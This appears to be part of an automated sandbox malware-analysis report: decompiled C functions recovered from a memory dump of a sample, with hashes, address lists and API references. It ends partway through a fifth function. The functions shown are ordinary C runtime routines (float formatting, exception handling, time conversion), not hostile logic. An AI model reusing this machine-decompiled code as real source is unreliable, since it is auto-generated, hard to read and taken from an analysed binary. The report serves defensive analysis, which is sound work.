Opcode Fuzzy Hash: a1b26b9a1bcf435cb89aee23f6bd5e24373c5783d78d129305a5f5c76f168f15
Instruction Fuzzy Hash: 19519071A00605DFCB18EF69C5819AEBBF1FF44310F248A2EE455AB391DB74AA41CF94

Uniqueness

Uniqueness Score: -1.00%

Function 004B384E, Relevance: 6.3, APIs: 4, Instructions: 305
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E004B384E(signed int* _a4, signed int _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, signed int _a24, signed int _a28, intOrPtr _a32, intOrPtr _a36) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				unsigned int _v20;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				char _v40;
				intOrPtr _v48;
				char _v52;
				void* __ebx;
				void* __edi;
				void* _t86;
				signed int _t92;
				signed int _t93;
				signed int _t94;
				signed int _t100;
				void* _t101;
				void* _t102;
				void* _t104;
				void* _t107;
				void* _t109;
				void* _t111;
				void* _t115;
				char* _t116;
				void* _t119;
				signed int _t121;
				signed int _t128;
				signed int* _t129;
				signed int _t136;
				signed int _t137;
				char _t138;
				signed int _t139;
				signed int _t142;
				signed int _t146;
				signed int _t151;
				char _t156;
				char _t157;
				void* _t161;
				unsigned int _t162;
				signed int _t164;
				signed int _t166;
				signed int _t170;
				signed int* _t171;
				signed int _t173;
				signed int _t180;
				signed int _t181;
				signed int _t182;
				signed int _t183;
				signed int _t184;
				signed int _t185;
				signed int _t186;

				_t180 = _a24;
				if(_t180 < 0) {
					_t180 = 0;
				}
				_t183 = _a8;
				 *_t183 = 0;
				E004A3439( &_v52, _a36);
				_t5 = _t180 + 0xb; // 0xb
				if(_a12 > _t5) {
					_t171 = _a4;
					_t142 = _t171[1];
					_v36 =  *_t171;
					__eflags = (_t142 >> 0x00000014 & 0x000007ff) - 0x7ff;
					if((_t142 >> 0x00000014 & 0x000007ff) != 0x7ff) {
						L11:
						__eflags = _t142 & 0x80000000;
						if((_t142 & 0x80000000) != 0) {
							 *_t183 = 0x2d;
							_t183 = _t183 + 1;
							__eflags = _t183;
						}
						__eflags = _a28;
						_v16 = 0x3ff;
						_t136 = ((0 | _a28 == 0x00000000) - 0x00000001 & 0xffffffe0) + 0x27;
						__eflags = _t171[1] & 0x7ff00000;
						_v32 = _t136;
						_t86 = 0x30;
						if((_t171[1] & 0x7ff00000) != 0) {
							 *_t183 = 0x31;
							_t184 = _t183 + 1;
							__eflags = _t184;
						} else {
							 *_t183 = _t86;
							_t184 = _t183 + 1;
							_t164 =  *_t171 | _t171[1] & 0x000fffff;
							__eflags = _t164;
							if(_t164 != 0) {
								_v16 = 0x3fe;
							} else {
								_v16 = _v16 & _t164;
							}
						}
						_t146 = _t184;
						_t185 = _t184 + 1;
						_v28 = _t146;
						__eflags = _t180;
						if(_t180 != 0) {
							_t30 = _v48 + 0x88; // 0xffce8305
							 *_t146 =  *((intOrPtr*)( *((intOrPtr*)( *_t30))));
						} else {
							 *_t146 = 0;
						}
						_t92 = _t171[1] & 0x000fffff;
						__eflags = _t92;
						_v20 = _t92;
						if(_t92 > 0) {
							L23:
							_t33 =  &_v8;
							 *_t33 = _v8 & 0x00000000;
							__eflags =  *_t33;
							_t147 = 0xf0000;
							_t93 = 0x30;
							_v12 = _t93;
							_v20 = 0xf0000;
							do {
								__eflags = _t180;
								if(_t180 <= 0) {
									break;
								}
								_t119 = E004C3DB0( *_t171 & _v8, _v12, _t171[1] & _t147 & 0x000fffff);
								_t161 = 0x30;
								_t121 = _t119 + _t161 & 0x0000ffff;
								__eflags = _t121 - 0x39;
								if(_t121 > 0x39) {
									_t121 = _t121 + _t136;
									__eflags = _t121;
								}
								_t162 = _v20;
								_t171 = _a4;
								 *_t185 = _t121;
								_t185 = _t185 + 1;
								_v8 = (_t162 << 0x00000020 | _v8) >> 4;
								_t147 = _t162 >> 4;
								_t93 = _v12 - 4;
								_t180 = _t180 - 1;
								_v20 = _t162 >> 4;
								_v12 = _t93;
								__eflags = _t93;
							} while (_t93 >= 0);
							__eflags = _t93;
							if(_t93 < 0) {
								goto L39;
							}
							_t115 = E004C3DB0( *_t171 & _v8, _v12, _t171[1] & _t147 & 0x000fffff);
							__eflags = _t115 - 8;
							if(_t115 <= 8) {
								goto L39;
							}
							_t116 = _t185 - 1;
							_t138 = 0x30;
							while(1) {
								_t156 =  *_t116;
								__eflags = _t156 - 0x66;
								if(_t156 == 0x66) {
									goto L33;
								}
								__eflags = _t156 - 0x46;
								if(_t156 != 0x46) {
									_t139 = _v32;
									__eflags = _t116 - _v28;
									if(_t116 == _v28) {
										_t57 = _t116 - 1;
										 *_t57 =  *(_t116 - 1) + 1;
										__eflags =  *_t57;
									} else {
										_t157 =  *_t116;
										__eflags = _t157 - 0x39;
										if(_t157 != 0x39) {
											 *_t116 = _t157 + 1;
										} else {
											 *_t116 = _t139 + 0x3a;
										}
									}
									goto L39;
								}
								L33:
								 *_t116 = _t138;
								_t116 = _t116 - 1;
							}
						} else {
							__eflags =  *_t171;
							if( *_t171 <= 0) {
								L39:
								__eflags = _t180;
								if(_t180 > 0) {
									_push(_t180);
									_t111 = 0x30;
									_push(_t111);
									_push(_t185);
									E0049FB10(_t180);
									_t185 = _t185 + _t180;
									__eflags = _t185;
								}
								_t94 = _v28;
								__eflags =  *_t94;
								if( *_t94 == 0) {
									_t185 = _t94;
								}
								__eflags = _a28;
								 *_t185 = ((_t94 & 0xffffff00 | _a28 == 0x00000000) - 0x00000001 & 0x000000e0) + 0x70;
								_t173 = _a4[1];
								_t100 = E004C3DB0( *_a4, 0x34, _t173);
								_t137 = 0;
								_t151 = (_t100 & 0x000007ff) - _v16;
								__eflags = _t151;
								asm("sbb ebx, ebx");
								if(__eflags < 0) {
									L47:
									 *(_t185 + 1) = 0x2d;
									_t186 = _t185 + 2;
									__eflags = _t186;
									_t151 =  ~_t151;
									asm("adc ebx, 0x0");
									_t137 =  ~_t137;
									goto L48;
								} else {
									if(__eflags > 0) {
										L46:
										 *(_t185 + 1) = 0x2b;
										_t186 = _t185 + 2;
										L48:
										_t181 = _t186;
										_t101 = 0x30;
										 *_t186 = _t101;
										__eflags = _t137;
										if(__eflags < 0) {
											L56:
											__eflags = _t186 - _t181;
											if(_t186 != _t181) {
												L60:
												_push(0);
												_push(0xa);
												_push(_t137);
												_push(_t151);
												_t102 = E004C3DD0();
												_v32 = _t173;
												 *_t186 = _t102 + 0x30;
												_t186 = _t186 + 1;
												__eflags = _t186;
												L61:
												_t104 = 0x30;
												_t182 = 0;
												__eflags = 0;
												 *_t186 = _t151 + _t104;
												 *(_t186 + 1) = 0;
												goto L62;
											}
											__eflags = _t137;
											if(__eflags < 0) {
												goto L61;
											}
											if(__eflags > 0) {
												goto L60;
											}
											__eflags = _t151 - 0xa;
											if(_t151 < 0xa) {
												goto L61;
											}
											goto L60;
										}
										if(__eflags > 0) {
											L51:
											_push(0);
											_push(0x3e8);
											_push(_t137);
											_push(_t151);
											_t107 = E004C3DD0();
											_v32 = _t173;
											 *_t186 = _t107 + 0x30;
											_t186 = _t186 + 1;
											__eflags = _t186 - _t181;
											if(_t186 != _t181) {
												L55:
												_push(0);
												_push(0x64);
												_push(_t137);
												_push(_t151);
												_t109 = E004C3DD0();
												_v32 = _t173;
												 *_t186 = _t109 + 0x30;
												_t186 = _t186 + 1;
												__eflags = _t186;
												goto L56;
											}
											L52:
											__eflags = _t137;
											if(__eflags < 0) {
												goto L56;
											}
											if(__eflags > 0) {
												goto L55;
											}
											__eflags = _t151 - 0x64;
											if(_t151 < 0x64) {
												goto L56;
											}
											goto L55;
										}
										__eflags = _t151 - 0x3e8;
										if(_t151 < 0x3e8) {
											goto L52;
										}
										goto L51;
									}
									__eflags = _t151;
									if(_t151 < 0) {
										goto L47;
									}
									goto L46;
								}
							}
							goto L23;
						}
					}
					__eflags = 0;
					if(0 != 0) {
						goto L11;
					} else {
						_t182 = E004B3B51(0, _t142, 0, _t171, _t183, _a12, _a16, _a20, _t180, 0, _a32, 0);
						__eflags = _t182;
						if(_t182 == 0) {
							_t128 = E004C4020(_t183, 0x65);
							_pop(_t166);
							__eflags = _t128;
							if(_t128 != 0) {
								__eflags = _a28;
								_t170 = ((_t166 & 0xffffff00 | _a28 == 0x00000000) - 0x00000001 & 0x000000e0) + 0x70;
								__eflags = _t170;
								 *_t128 = _t170;
								 *((char*)(_t128 + 3)) = 0;
							}
							_t182 = 0;
						} else {
							 *_t183 = 0;
						}
						goto L62;
					}
				} else {
					_t129 = E004A966E();
					_t182 = 0x22;
					 *_t129 = _t182;
					E004A5E77();
					L62:
					if(_v40 != 0) {
						 *(_v52 + 0x350) =  *(_v52 + 0x350) & 0xfffffffd;
					}
					return _t182;
				}
			}

0x004b3859
0x004b3860
0x004b3862
0x004b3862
0x004b3864
0x004b386d
0x004b386f
0x004b3874
0x004b387a
0x004b3890
0x004b3895
0x004b3898
0x004b38a5
0x004b38aa
0x004b38fe
0x004b3906
0x004b3908
0x004b390a
0x004b390d
0x004b390d
0x004b390d
0x004b3913
0x004b391b
0x004b392e
0x004b3931
0x004b3933
0x004b3936
0x004b3937
0x004b3958
0x004b395b
0x004b395b
0x004b3939
0x004b3939
0x004b393b
0x004b3946
0x004b3946
0x004b3948
0x004b394f
0x004b394a
0x004b394a
0x004b394a
0x004b3948
0x004b395c
0x004b395e
0x004b395f
0x004b3962
0x004b3964
0x004b396e
0x004b3978
0x004b3966
0x004b3966
0x004b3966
0x004b397d
0x004b397d
0x004b3982
0x004b3985
0x004b3990
0x004b3990
0x004b3990
0x004b3990
0x004b3994
0x004b399b
0x004b399c
0x004b399f
0x004b39a2
0x004b39a2
0x004b39a4
0x00000000
0x00000000
0x004b39bc
0x004b39c3
0x004b39c7
0x004b39ca
0x004b39cd
0x004b39cf
0x004b39cf
0x004b39cf
0x004b39d1
0x004b39d4
0x004b39d7
0x004b39d9
0x004b39e1
0x004b39e7
0x004b39ea
0x004b39ed
0x004b39ee
0x004b39f1
0x004b39f4
0x004b39f4
0x004b39f9
0x004b39fc
0x00000000
0x00000000
0x004b3a14
0x004b3a19
0x004b3a1d
0x00000000
0x00000000
0x004b3a21
0x004b3a24
0x004b3a25
0x004b3a25
0x004b3a27
0x004b3a2a
0x00000000
0x00000000
0x004b3a2c
0x004b3a2f
0x004b3a36
0x004b3a39
0x004b3a3c
0x004b3a52
0x004b3a52
0x004b3a52
0x004b3a3e
0x004b3a3e
0x004b3a40
0x004b3a43
0x004b3a4e
0x004b3a45
0x004b3a48
0x004b3a48
0x004b3a43
0x00000000
0x004b3a3c
0x004b3a31
0x004b3a31
0x004b3a33
0x004b3a33
0x004b3987
0x004b3987
0x004b398a
0x004b3a55
0x004b3a55
0x004b3a57
0x004b3a59
0x004b3a5c
0x004b3a5d
0x004b3a5e
0x004b3a5f
0x004b3a67
0x004b3a67
0x004b3a67
0x004b3a69
0x004b3a6c
0x004b3a6f
0x004b3a71
0x004b3a71
0x004b3a73
0x004b3a85
0x004b3a89
0x004b3a8c
0x004b3a93
0x004b3a9b
0x004b3a9b
0x004b3a9e
0x004b3aa0
0x004b3ab1
0x004b3ab1
0x004b3ab5
0x004b3ab5
0x004b3ab8
0x004b3aba
0x004b3abd
0x00000000
0x004b3aa2
0x004b3aa2
0x004b3aa8
0x004b3aa8
0x004b3aac
0x004b3abf
0x004b3abf
0x004b3ac3
0x004b3ac4
0x004b3ac6
0x004b3ac8
0x004b3b09
0x004b3b09
0x004b3b0b
0x004b3b18
0x004b3b18
0x004b3b1a
0x004b3b1c
0x004b3b1d
0x004b3b1e
0x004b3b25
0x004b3b28
0x004b3b2a
0x004b3b2a
0x004b3b2b
0x004b3b2d
0x004b3b30
0x004b3b30
0x004b3b32
0x004b3b34
0x00000000
0x004b3b34
0x004b3b0d
0x004b3b0f
0x00000000
0x00000000
0x004b3b11
0x00000000
0x00000000
0x004b3b13
0x004b3b16
0x00000000
0x00000000
0x00000000
0x004b3b16
0x004b3acf
0x004b3ad5
0x004b3ad5
0x004b3ad7
0x004b3ad8
0x004b3ad9
0x004b3ada
0x004b3ae1
0x004b3ae4
0x004b3ae6
0x004b3ae7
0x004b3ae9
0x004b3af6
0x004b3af6
0x004b3af8
0x004b3afa
0x004b3afb
0x004b3afc
0x004b3b03
0x004b3b06
0x004b3b08
0x004b3b08
0x00000000
0x004b3b08
0x004b3aeb
0x004b3aeb
0x004b3aed
0x00000000
0x00000000
0x004b3aef
0x00000000
0x00000000
0x004b3af1
0x004b3af4
0x00000000
0x00000000
0x00000000
0x004b3af4
0x004b3ad1
0x004b3ad3
0x00000000
0x00000000
0x00000000
0x004b3ad3
0x004b3aa4
0x004b3aa6
0x00000000
0x00000000
0x00000000
0x004b3aa6
0x004b3aa0
0x00000000
0x004b398a
0x004b3985
0x004b38ac
0x004b38ae
0x00000000
0x004b38b0
0x004b38c6
0x004b38cb
0x004b38cd
0x004b38d9
0x004b38df
0x004b38e0
0x004b38e2
0x004b38e4
0x004b38ef
0x004b38ef
0x004b38f2
0x004b38f4
0x004b38f4
0x004b38f7
0x004b38cf
0x004b38cf
0x004b38cf
0x00000000
0x004b38cd
0x004b387c
0x004b387c
0x004b3883
0x004b3884
0x004b3886
0x004b3b38
0x004b3b3c
0x004b3b41
0x004b3b41
0x004b3b50
0x004b3b50

APIs

_strrchr.LIBCMT ref: 004B38D9
__alldvrm.LIBCMT ref: 004B3ADA
__alldvrm.LIBCMT ref: 004B3AFC

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: cf59a2465089a7603c647ea21e1a707a5df345a225b1c4ff3b1d698eb6aada1f
Instruction ID: aefbf502682c8a8259c916363cc8edfc7ad5277ee51f74c50151e1c402d83c2e
Opcode Fuzzy Hash: cf59a2465089a7603c647ea21e1a707a5df345a225b1c4ff3b1d698eb6aada1f
Instruction Fuzzy Hash: 88A15671A043869FEB21CF1AC8917EEBBE0EF15311F24416FE4959B382C63C9A41C769

Uniqueness

Uniqueness Score: -1.00%

Function 004A14C6, Relevance: 6.2, APIs: 4, Instructions: 168
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E004A14C6() {
				signed char* _t52;
				signed int _t53;
				intOrPtr _t54;
				void* _t58;
				void* _t61;
				intOrPtr _t71;
				signed int _t74;
				signed int _t78;
				signed char _t80;
				signed char _t83;
				intOrPtr _t84;
				intOrPtr _t85;
				intOrPtr _t96;
				signed char _t98;
				signed char* _t99;
				signed char* _t101;
				intOrPtr* _t106;
				void* _t110;

				E0049DF50(0x4e8690, 0x10);
				_t74 = 0;
				_t52 =  *(_t110 + 0x10);
				_t80 = _t52[4];
				if(_t80 == 0 ||  *((intOrPtr*)(_t80 + 8)) == 0) {
					L30:
					_t53 = 0;
					goto L31;
				} else {
					_t98 = _t52[8];
					if(_t98 != 0 ||  *_t52 < 0) {
						_t83 =  *_t52;
						_t106 =  *((intOrPtr*)(_t110 + 0xc));
						if(_t83 >= 0) {
							_t106 = _t106 + 0xc + _t98;
						}
						 *(_t110 - 4) = _t74;
						_t101 =  *(_t110 + 0x14);
						if(_t83 >= 0 || ( *_t101 & 0x00000010) == 0) {
							L10:
							_t54 =  *((intOrPtr*)(_t110 + 8));
							if((_t83 & 0x00000008) == 0) {
								if(( *_t101 & 0x00000001) == 0) {
									_t84 =  *((intOrPtr*)(_t54 + 0x18));
									if(_t101[0x18] != _t74) {
										if(_t84 == 0 || _t106 == 0) {
											goto L32;
										} else {
											_t78 = 0;
											_t74 = (_t78 & 0xffffff00 | ( *_t101 & 0x00000004) != 0x00000000) + 1;
											 *(_t110 - 0x20) = _t74;
											goto L29;
										}
									} else {
										if(_t84 == 0 || _t106 == 0) {
											goto L32;
										} else {
											E0049EFF0(_t106, E004A12C2(_t84,  &(_t101[8])), _t101[0x14]);
											goto L29;
										}
									}
								} else {
									if( *((intOrPtr*)(_t54 + 0x18)) == 0 || _t106 == 0) {
										goto L32;
									} else {
										E0049EFF0(_t106,  *((intOrPtr*)(_t54 + 0x18)), _t101[0x14]);
										if(_t101[0x14] == 4 &&  *_t106 != 0) {
											_push( &(_t101[8]));
											_push( *_t106);
											goto L21;
										}
										goto L29;
									}
								}
							} else {
								_t96 =  *((intOrPtr*)(_t54 + 0x18));
								goto L12;
							}
						} else {
							_t71 =  *0x4ee398; // 0x0
							 *((intOrPtr*)(_t110 - 0x1c)) = _t71;
							if(_t71 == 0) {
								goto L10;
							} else {
								 *0x4f02b4();
								_t96 =  *((intOrPtr*)(_t110 - 0x1c))();
								L12:
								if(_t96 == 0 || _t106 == 0) {
									L32:
									E004AEA83(_t74, _t98, _t101, _t106);
									asm("int3");
									E0049DF50(0x4e86b0, 8);
									_t99 =  *(_t110 + 0x10);
									_t85 =  *((intOrPtr*)(_t110 + 0xc));
									if( *_t99 >= 0) {
										_t103 = _t85 + 0xc + _t99[8];
									} else {
										_t103 = _t85;
									}
									 *(_t110 - 4) =  *(_t110 - 4) & 0x00000000;
									_t107 =  *(_t110 + 0x14);
									_push( *(_t110 + 0x14));
									_push(_t99);
									_push(_t85);
									_t76 =  *((intOrPtr*)(_t110 + 8));
									_push( *((intOrPtr*)(_t110 + 8)));
									_t58 = E004A14C6() - 1;
									if(_t58 == 0) {
										_t61 = E004A21AE(_t103, _t107[0x18], E004A12C2( *((intOrPtr*)(_t76 + 0x18)),  &(_t107[8])));
									} else {
										_t61 = _t58 - 1;
										if(_t61 == 0) {
											_t61 = E004A21BE(_t103, _t107[0x18], E004A12C2( *((intOrPtr*)(_t76 + 0x18)),  &(_t107[8])), 1);
										}
									}
									 *(_t110 - 4) = 0xfffffffe;
									 *[fs:0x0] =  *((intOrPtr*)(_t110 - 0x10));
									return _t61;
								} else {
									 *_t106 = _t96;
									_push( &(_t101[8]));
									_push(_t96);
									L21:
									 *_t106 = E004A12C2();
									L29:
									 *(_t110 - 4) = 0xfffffffe;
									_t53 = _t74;
									L31:
									 *[fs:0x0] =  *((intOrPtr*)(_t110 - 0x10));
									return _t53;
								}
							}
						}
					} else {
						goto L30;
					}
				}
			}

0x004a14cd
0x004a14d2
0x004a14d4
0x004a14d7
0x004a14dc
0x004a15ec
0x004a15ec
0x00000000
0x004a14eb
0x004a14eb
0x004a14f0
0x004a14fa
0x004a14fc
0x004a1501
0x004a1506
0x004a1506
0x004a1508
0x004a150b
0x004a1510
0x004a1532
0x004a1532
0x004a1538
0x004a1559
0x004a1598
0x004a159e
0x004a15c5
0x00000000
0x004a15cb
0x004a15d0
0x004a15d4
0x004a15d5
0x00000000
0x004a15d5
0x004a15a0
0x004a15a2
0x00000000
0x004a15a8
0x004a15b9
0x00000000
0x004a15be
0x004a15a2
0x004a155b
0x004a155f
0x00000000
0x004a156d
0x004a1574
0x004a1580
0x004a158a
0x004a158b
0x00000000
0x004a158b
0x00000000
0x004a1580
0x004a155f
0x004a153a
0x004a153a
0x00000000
0x004a153a
0x004a1517
0x004a1517
0x004a151c
0x004a1521
0x00000000
0x004a1523
0x004a1525
0x004a152e
0x004a153d
0x004a153f
0x004a15fe
0x004a15fe
0x004a1603
0x004a160b
0x004a1610
0x004a1613
0x004a1619
0x004a1622
0x004a161b
0x004a161b
0x004a161b
0x004a1625
0x004a1629
0x004a162c
0x004a162d
0x004a162e
0x004a162f
0x004a1632
0x004a163b
0x004a163e
0x004a1674
0x004a1640
0x004a1640
0x004a1643
0x004a165a
0x004a165a
0x004a1643
0x004a1679
0x004a1683
0x004a168f
0x004a154d
0x004a154d
0x004a1552
0x004a1553
0x004a158d
0x004a1594
0x004a15d8
0x004a15d8
0x004a15df
0x004a15ee
0x004a15f1
0x004a15fd
0x004a15fd
0x004a153f
0x004a1521
0x00000000
0x00000000
0x00000000
0x004a14f0

APIs

___AdjustPointer.LIBCMT ref: 004A158D
___AdjustPointer.LIBCMT ref: 004A15B0
___AdjustPointer.LIBCMT ref: 004A164C

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: f887c83835c5cb72f26c448c0f57ca06c8fd496e518150ae68044f1cab4e5553
Instruction ID: 3c0717075a898fdc87e0c65c008e7088a1d6a1ad2d33d74d011be9785ebaa25a
Opcode Fuzzy Hash: f887c83835c5cb72f26c448c0f57ca06c8fd496e518150ae68044f1cab4e5553
Instruction Fuzzy Hash: FA51F572A00202BFDB288F16C841B7A77A4EFA6714F14452FE907972B1E739EC41CB58

Uniqueness

Uniqueness Score: -1.00%

Function 004B9AA8, Relevance: 6.1, APIs: 4, Instructions: 133
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E004B9AA8(void* _a4, intOrPtr* _a8) {
				char _v5;
				intOrPtr _v12;
				char _v16;
				signed int _t44;
				char _t47;
				intOrPtr _t50;
				signed int _t52;
				signed int _t56;
				signed int _t57;
				void* _t59;
				signed int _t63;
				signed int _t65;
				char _t67;
				intOrPtr* _t68;
				intOrPtr* _t69;
				intOrPtr* _t71;
				intOrPtr _t75;
				void* _t76;
				void* _t77;
				signed int _t80;
				intOrPtr _t82;
				void* _t86;
				signed int _t87;
				void* _t89;
				signed int _t91;
				intOrPtr* _t98;
				void* _t101;
				intOrPtr _t102;
				intOrPtr _t103;

				_t101 = _a4;
				if(_t101 != 0) {
					_t80 = 9;
					memset(_t101, _t44 | 0xffffffff, _t80 << 2);
					_t98 = _a8;
					__eflags = _t98;
					if(_t98 != 0) {
						_t82 =  *((intOrPtr*)(_t98 + 4));
						_t47 =  *_t98;
						_v16 = _t47;
						_v12 = _t82;
						__eflags = _t82 - 0xffffffff;
						if(__eflags > 0) {
							L7:
							_t89 = 7;
							__eflags = _t82 - _t89;
							if(__eflags < 0) {
								L12:
								_v5 = 0;
								_t50 = E004B9BF5(_t82, __eflags,  &_v16,  &_v5);
								_t75 = _v16;
								 *((intOrPtr*)(_t101 + 0x14)) = _t50;
								_t52 = E004C3EB0(_t75, _v12, 0x15180, 0);
								 *(_t101 + 0x1c) = _t52;
								_t86 = 0x40e184;
								_t76 = _t75 - _t52 * 0x15180;
								asm("sbb eax, edx");
								__eflags = _v5;
								if(_v5 == 0) {
									_t86 = 0x40e150;
								}
								_t91 =  *(_t101 + 0x1c);
								_t56 = 1;
								__eflags =  *((intOrPtr*)(_t86 + 4)) - _t91;
								if( *((intOrPtr*)(_t86 + 4)) >= _t91) {
									L16:
									_t57 = _t56 - 1;
									 *(_t101 + 0x10) = _t57;
									 *((intOrPtr*)(_t101 + 0xc)) = _t91 -  *((intOrPtr*)(_t86 + _t57 * 4));
									_t59 = E004C3EB0( *_t98,  *((intOrPtr*)(_t98 + 4)), 0x15180, 0);
									_t87 = 7;
									asm("cdq");
									 *(_t101 + 0x18) = (_t59 + 4) % _t87;
									_t63 = E004C3EB0(_t76, _v12, 0xe10, 0);
									 *(_t101 + 8) = _t63;
									_t77 = _t76 - _t63 * 0xe10;
									asm("sbb edi, edx");
									_t65 = E004C3EB0(_t77, _v12, 0x3c, 0);
									 *(_t101 + 0x20) =  *(_t101 + 0x20) & 0x00000000;
									 *(_t101 + 4) = _t65;
									_t67 = 0;
									__eflags = 0;
									 *_t101 = _t77 - _t65 * 0x3c;
									L17:
									return _t67;
								} else {
									do {
										_t56 = _t56 + 1;
										__eflags =  *((intOrPtr*)(_t86 + _t56 * 4)) - _t91;
									} while ( *((intOrPtr*)(_t86 + _t56 * 4)) < _t91);
									goto L16;
								}
							}
							if(__eflags > 0) {
								L10:
								_t68 = E004A966E();
								_t102 = 0x16;
								 *_t68 = _t102;
								L11:
								_t67 = _t102;
								goto L17;
							}
							__eflags = _t47 - 0x934126cf;
							if(__eflags <= 0) {
								goto L12;
							}
							goto L10;
						}
						if(__eflags < 0) {
							goto L10;
						}
						__eflags = _t47 - 0xffff5740;
						if(_t47 < 0xffff5740) {
							goto L10;
						}
						goto L7;
					}
					_t69 = E004A966E();
					_t102 = 0x16;
					 *_t69 = _t102;
					E004A5E77();
					goto L11;
				}
				_t71 = E004A966E();
				_t103 = 0x16;
				 *_t71 = _t103;
				E004A5E77();
				return _t103;
			}

0x004b9ab1
0x004b9ab6
0x004b9ad6
0x004b9ad7
0x004b9ad9
0x004b9adc
0x004b9ade
0x004b9af1
0x004b9af4
0x004b9af6
0x004b9af9
0x004b9afc
0x004b9aff
0x004b9b0a
0x004b9b0c
0x004b9b0d
0x004b9b0f
0x004b9b2b
0x004b9b2f
0x004b9b38
0x004b9b3d
0x004b9b44
0x004b9b51
0x004b9b56
0x004b9b60
0x004b9b65
0x004b9b6a
0x004b9b6c
0x004b9b73
0x004b9b75
0x004b9b75
0x004b9b7a
0x004b9b7f
0x004b9b80
0x004b9b83
0x004b9b8b
0x004b9b8b
0x004b9b8c
0x004b9b9a
0x004b9ba2
0x004b9baf
0x004b9bb0
0x004b9bba
0x004b9bc0
0x004b9bca
0x004b9bd1
0x004b9bd5
0x004b9bd9
0x004b9bde
0x004b9be2
0x004b9bea
0x004b9bea
0x004b9bec
0x004b9bef
0x00000000
0x004b9b85
0x004b9b85
0x004b9b85
0x004b9b86
0x004b9b86
0x00000000
0x004b9b85
0x004b9b83
0x004b9b11
0x004b9b1a
0x004b9b1a
0x004b9b21
0x004b9b22
0x004b9b24
0x004b9b24
0x00000000
0x004b9b24
0x004b9b13
0x004b9b18
0x00000000
0x00000000
0x00000000
0x004b9b18
0x004b9b01
0x00000000
0x00000000
0x004b9b03
0x004b9b08
0x00000000
0x00000000
0x00000000
0x004b9b08
0x004b9ae0
0x004b9ae7
0x004b9ae8
0x004b9aea
0x00000000
0x004b9aea
0x004b9ab8
0x004b9abf
0x004b9ac0
0x004b9ac2
0x00000000

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4fcfa19c15fc5a8cafe95093390a0d6dbe93a312acf91bbad6bb9d4421810fc6
Instruction ID: 2841f9bdff8b88ee4e3ddea9de328ee0ae5924222ae52d890bda5bb18cd83000
Opcode Fuzzy Hash: 4fcfa19c15fc5a8cafe95093390a0d6dbe93a312acf91bbad6bb9d4421810fc6
Instruction Fuzzy Hash: EE412671A04704AFD7259F38D841BAABBA9EB89314F10852FF201DB281D779BD118798

Uniqueness

Uniqueness Score: -1.00%

Function 004A13AF, Relevance: 6.1, APIs: 4, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E004A13AF(void* __ecx, void* __edx) {
				void* _t5;
				void* _t9;
				void* _t11;
				void* _t12;
				void* _t15;
				void* _t19;
				void* _t25;
				void* _t26;
				void* _t29;

				if( *0x4eb070 != 0xffffffff) {
					_t26 =  *0x4f0018(_t11);
					_t12 = E004A25CD(__ecx, __eflags,  *0x4eb070);
					_t15 = _t25;
					__eflags = _t12 - 0xffffffff;
					if(_t12 == 0xffffffff) {
						L5:
						_t12 = 0;
					} else {
						__eflags = _t12;
						if(__eflags == 0) {
							_t5 = E004A2608(_t15, __eflags,  *0x4eb070, 0xffffffff);
							__eflags = _t5;
							if(_t5 != 0) {
								_push(0x28);
								_t29 = E004A281E();
								_t19 = 1;
								__eflags = _t29;
								if(__eflags == 0) {
									L8:
									_t12 = 0;
									E004A2608(_t19, __eflags,  *0x4eb070, 0);
								} else {
									_t9 = E004A2608(_t19, __eflags,  *0x4eb070, _t29);
									_pop(_t19);
									__eflags = _t9;
									if(__eflags != 0) {
										_t12 = _t29;
										_t29 = 0;
										__eflags = 0;
									} else {
										goto L8;
									}
								}
								L004A5B7B(_t29);
							} else {
								goto L5;
							}
						}
					}
					 *0x4f01b8(_t26);
					return _t12;
				} else {
					return 0;
				}
			}

0x004a13b6
0x004a13c9
0x004a13d0
0x004a13d2
0x004a13d3
0x004a13d6
0x004a13ef
0x004a13ef
0x004a13d8
0x004a13d8
0x004a13da
0x004a13e4
0x004a13eb
0x004a13ed
0x004a13f4
0x004a13fd
0x004a1400
0x004a1401
0x004a1403
0x004a1417
0x004a1417
0x004a1420
0x004a1405
0x004a140c
0x004a1412
0x004a1413
0x004a1415
0x004a1429
0x004a142b
0x004a142b
0x00000000
0x00000000
0x00000000
0x004a1415
0x004a142e
0x00000000
0x00000000
0x00000000
0x004a13ed
0x004a13da
0x004a1436
0x004a1440
0x004a13b8
0x004a13ba
0x004a13ba

APIs

___vcrt_FlsGetValue.LIBVCRUNTIME ref: 004A13CB
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 004A13E4

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Value___vcrt_
String ID:
API String ID: 1426506684-0
Opcode ID: cc6b0c7a2fcd783955048c6fb4ca65cc084611128176fe234eefea57fbcaeda5
Instruction ID: e322488fc87d8f6f56728e4f6ae6b5a8be3650b98cbe535efeea6d341be13f0a
Opcode Fuzzy Hash: cc6b0c7a2fcd783955048c6fb4ca65cc084611128176fe234eefea57fbcaeda5
Instruction Fuzzy Hash: 5A01D83210E3269EA6242B7D7CC59672648EB37775B20033FF920491F2FF595C42A28C

Uniqueness

Uniqueness Score: -1.00%

Function 00490779, Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 322
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E00490779(void* __edi, void* __esi, void* __eflags) {
				intOrPtr* _t130;
				intOrPtr* _t136;
				void* _t146;
				intOrPtr* _t147;
				char* _t148;
				void* _t155;
				signed int _t156;
				signed int _t157;
				signed int _t158;
				void* _t161;
